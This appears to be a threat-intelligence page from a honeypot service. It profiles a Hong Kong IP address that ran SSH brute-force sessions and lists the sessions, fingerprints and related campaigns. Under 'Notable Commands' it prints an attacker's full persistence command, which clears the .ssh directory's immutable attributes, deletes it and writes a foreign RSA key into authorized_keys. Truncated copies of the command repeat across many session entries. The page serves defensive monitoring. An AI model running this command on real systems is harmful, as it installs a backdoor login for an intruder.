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Location
🇭🇰 HK / Hong Kong
ASN
AS135377 · UCLOUD INFORMATION TECHNOLOGY (HK) LIMITED
Cloud Provider
—
Total Events
402
Top 10% by volume
Agent Count
1
First / Last Seen
2026-06-21 03:44 — 2026-06-21 04:51
Attack Types
MITRE ATT&CK Techniques
Reconnaissance
Initial Access
Defense Evasion
Command and Control
External Corroboration
Blocklist.de
blocklist_de:reported
Campaigns
HASSH f555226df196… — SSH-2.0-libssh_0.9.6 (690 IPs, 81 countries)
HASSH
Active
high
🇺🇸 US
690 IPs
373014 events
ssh:bruteforce
2026-02-25 — ongoing · 690 IPs are running an identical SSH client (HASSH fingerprint f555226df196…). Top network: Microsoft Corporation (AS8075). Geographic and …
AS135377 UCLOUD INFORMATION TECHNOLOGY HK LIMITED
ASN
Active
medium
🇭🇰 HK
30 IPs
16883 events
ftp:bruteforcehttp:scanssh:bruteforce
2026-02-18 — ongoing · 30 IPs from the same network (UCLOUD INFORMATION TECHNOLOGY HK LIMITED, AS135377) were active during overlapping time periods. …
Session Forensics
Sessions
58 (28 with login)
Avg Depth Score
0.47
Commands Executed
42
Files Downloaded
14
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
HASSH
SSH Client
Evidence Timeline
Opportunistic Bruter
8f4b9fe6c82d
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
56a0c7ee934d
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
01ddc6278d15
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
8d2c89db308a
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
ff217de0fe94
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
b65b05f293fe
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
4100c9ff94ee
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
3e220b2b1261
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Opportunistic Bruter
0724108d5308
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
8f871b25888d
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
de5855f358df
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
882ff84080d5
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Opportunistic Bruter
ad0b010c3025
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
75fd76c8451b
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
b794db00668a
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
85b1cff13c8d
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
8b1d407670cd
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
c385cb1d346c
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
f5192d13205b
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
2cc2dec81db3
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Opportunistic Bruter
197f7a77f240
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
73e9ba58ea15
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
7b884658fe71
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
2fbabfe86f53
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
e17b320c4db7
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…